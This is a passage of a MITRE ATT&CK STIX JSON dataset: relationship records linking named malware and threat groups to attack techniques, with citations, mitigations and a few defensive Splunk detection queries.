2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T18:47:36.527Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) checks and will terminate execution if the compromised system’s language ID is not Spanish or Portuguese.(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29686ce0-db1e-4d77-a21c-7b1e97ee51ac","type":"relationship","created":"2020-04-28T14:37:51.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T14:37:51.271Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) was distributed via malicious Word documents.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--297166d8-036f-4bec-a3bf-acc416427a7f","created":"2024-07-25T22:37:36.951Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:37:36.951Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) can collect information on installed applications via Windows registry keys, as well as collecting information on running processes.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29761e14-daad-46fc-99ca-af8366e6a7b5","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:24:02.841Z","description":"Monitor for changes made to windows registry keys and/or values that may abuse the Windows service control manager to execute malicious commands or payloads.\n\nAnalytic 1 - Registry changes related to service execution.\n\n sourcetype=WinEventLog:Security OR sourcetype=Sysmon EventCode=13 OR EventCode=4657\n| search registry_path IN (\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services*\")\n| where registry_value != \"*legitimate_software_registry*\" // Filter out common services\n","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2978353c-a652-4d42-a5da-4b937b09c8cf","type":"relationship","created":"2020-05-06T17:47:43.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."},{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.584Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) can multiple protocols including HTTP and HTTPS in communication with command and control (C2) servers.(Citation: JPCert BlackTech Malware September 2019)(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--297b069f-7d1b-4335-9363-c73bd823c322","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:37:34.810Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) encodes files in Base64.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--297bf9d5-0644-4434-b1d6-cac1568188cc","created":"2024-02-26T14:19:09.262Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-26T14:19:09.262Z","description":"Perform regular software updates to mitigate exploitation risk.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--297ca26b-2074-46ea-b81d-a0a5c6fe5ac0","type":"relationship","created":"2021-03-19T21:04:01.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-25T15:34:04.434Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2980b44a-0c1b-43ba-b99a-17753a30b3e5","created":"2022-08-04T00:30:23.106Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to firewall rules, especially unexpected modifications that may potentially be related to allowing and/or cleaning up previous tampering that enabled malicious network traffic.","modified":"2022-08-04T00:30:23.106Z","relationship_type":"detects","source_ref":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29818fd0-e6df-4871-b025-938c77978544","type":"relationship","created":"2020-06-10T21:56:40.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:40.034Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has sent system information to its C2 server using HTTP.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2981e224-edec-454e-91da-5dcad30572c1","type":"relationship","created":"2020-02-21T21:05:33.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wikipedia HPKP","description":"Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.","url":"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"}],"modified":"2021-08-25T19:39:07.205Z","description":"HTTP Public Key Pinning (HPKP) is one method to mitigate potential [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29883758-034d-4811-9145-9e12652edf66","created":"2022-09-07T14:50:05.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:55:20.000Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors ran encoded commands from the command line.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29908e34-dba9-41c7-bc4e-f1c2c97dab17","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for unexpected deletion of a system log file, typically stored in /var/logs or /Library/Logs. ","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29913145-ac8a-4075-961a-0600ba229728","created":"2022-05-27T13:24:45.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T14:00:38.549Z","description":"Monitor for unusual Serverless function modifications, such as adding roles to a function that allow unauthorized access or execution. \n\nAnalytic 1 - Tracks actions related to creating or modifying serverless functions\n\nindex=cloud_logs sourcetype=aws:iam OR sourcetype=azure:activity OR sourcetype=gcp:iam\n| search action IN (\"iam:PassRole\", \"iam:CreateFunction\", \"iam:AddPermission\", \"iam:UpdateFunctionConfiguration\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2995ea85-ccdb-4378-bc35-3c62ccf5fa9d","type":"relationship","created":"2020-05-27T13:22:06.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.351Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to collect data from USB devices.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2996198c-97d1-48df-9463-6d1c0140f050","created":"2024-05-22T22:12:23.529Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:12:23.529Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used the open-source port scanner WinEggDrop to perform detailed scans of hosts of interest in victim networks.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29a1fc8a-58c3-4465-b170-d9ec7c2d4d22","created":"2022-07-01T20:19:19.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T18:19:53.830Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has performed watering hole attacks.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29a6afc7-f051-4c26-b6a2-cad09c73180f","type":"relationship","created":"2020-06-29T01:35:30.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"}],"modified":"2020-06-29T01:35:30.267Z","description":"[BOOTRASH](https://attack.mitre.org/software/S0114) has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit.(Citation: FireEye Bootkits)","relationship_type":"uses","source_ref":"malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29b03b8f-229b-44a9-a281-6e39edb86844","type":"relationship","created":"2020-10-12T13:52:32.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:55:27.740Z","description":"Configure default account policy to enable logging. Manage policies to ensure only necessary users have permissions to make changes to logging policies.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29b5ee68-0bb0-4264-a781-ece3014fb3dd","type":"relationship","created":"2020-05-15T13:17:57.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T15:08:55.560Z","description":"(Citation: Securelist DarkVishnya Dec 2018) ","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"tool--96fd6cc4-a693-4118-83ec-619e5352d07d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--29b86468-2995-4f6c-8269-7befe9e80f2e","created":"2022-06-16T19:07:34.164Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to LDAP and MSRPC that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure).","modified":"2022-06-16T19:07:34.164Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29be6a34-6a89-42e8-a6b1-dca821ed7f94","type":"relationship","created":"2020-06-10T20:26:53.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.420Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to list the directories on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29bf3ce1-f531-472f-9825-b990aab2f09c","type":"relationship","created":"2019-04-17T13:46:38.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-09-09T19:23:37.096Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) collects information from the clipboard by using the OpenClipboard() and GetClipboardData() libraries. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29c989db-83f5-4c1a-944b-a0d78d652de2","created":"2023-09-27T20:14:18.925Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:14:18.925Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use a file monitor to steal specific files from targeted systems.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--29c9b21f-7ea0-48f0-bd90-978d4f37813f","created":"2022-03-25T21:24:02.065Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use `OpenRemoteServiceManager` to create a service.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:08:18.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29cd1209-5e90-448f-83d3-42c3ecdd1f70","created":"2019-09-23T23:08:25.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T20:15:55.568Z","description":"[APT41](https://attack.mitre.org/groups/G0096) modified legitimate Windows services to install malware backdoors.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) [APT41](https://attack.mitre.org/groups/G0096) created the StorSyncSvc service to provide persistence for [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--29cec373-a87c-444b-b192-9ab94f69a008","created":"2023-03-02T18:42:06.767Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:42:06.767Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability to encrypt Windows devices, Linux devices, and VMWare instances.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29d1699f-c87d-4e6c-ac34-b1b46c43286a","type":"relationship","created":"2019-07-17T23:32:02.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.","url":"https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/","source_name":"Wired Lockergoga 2019"}],"modified":"2019-07-25T14:22:27.818Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) installation has been immediately preceded by a \"task kill\" command in order to disable anti-virus.(Citation: Wired Lockergoga 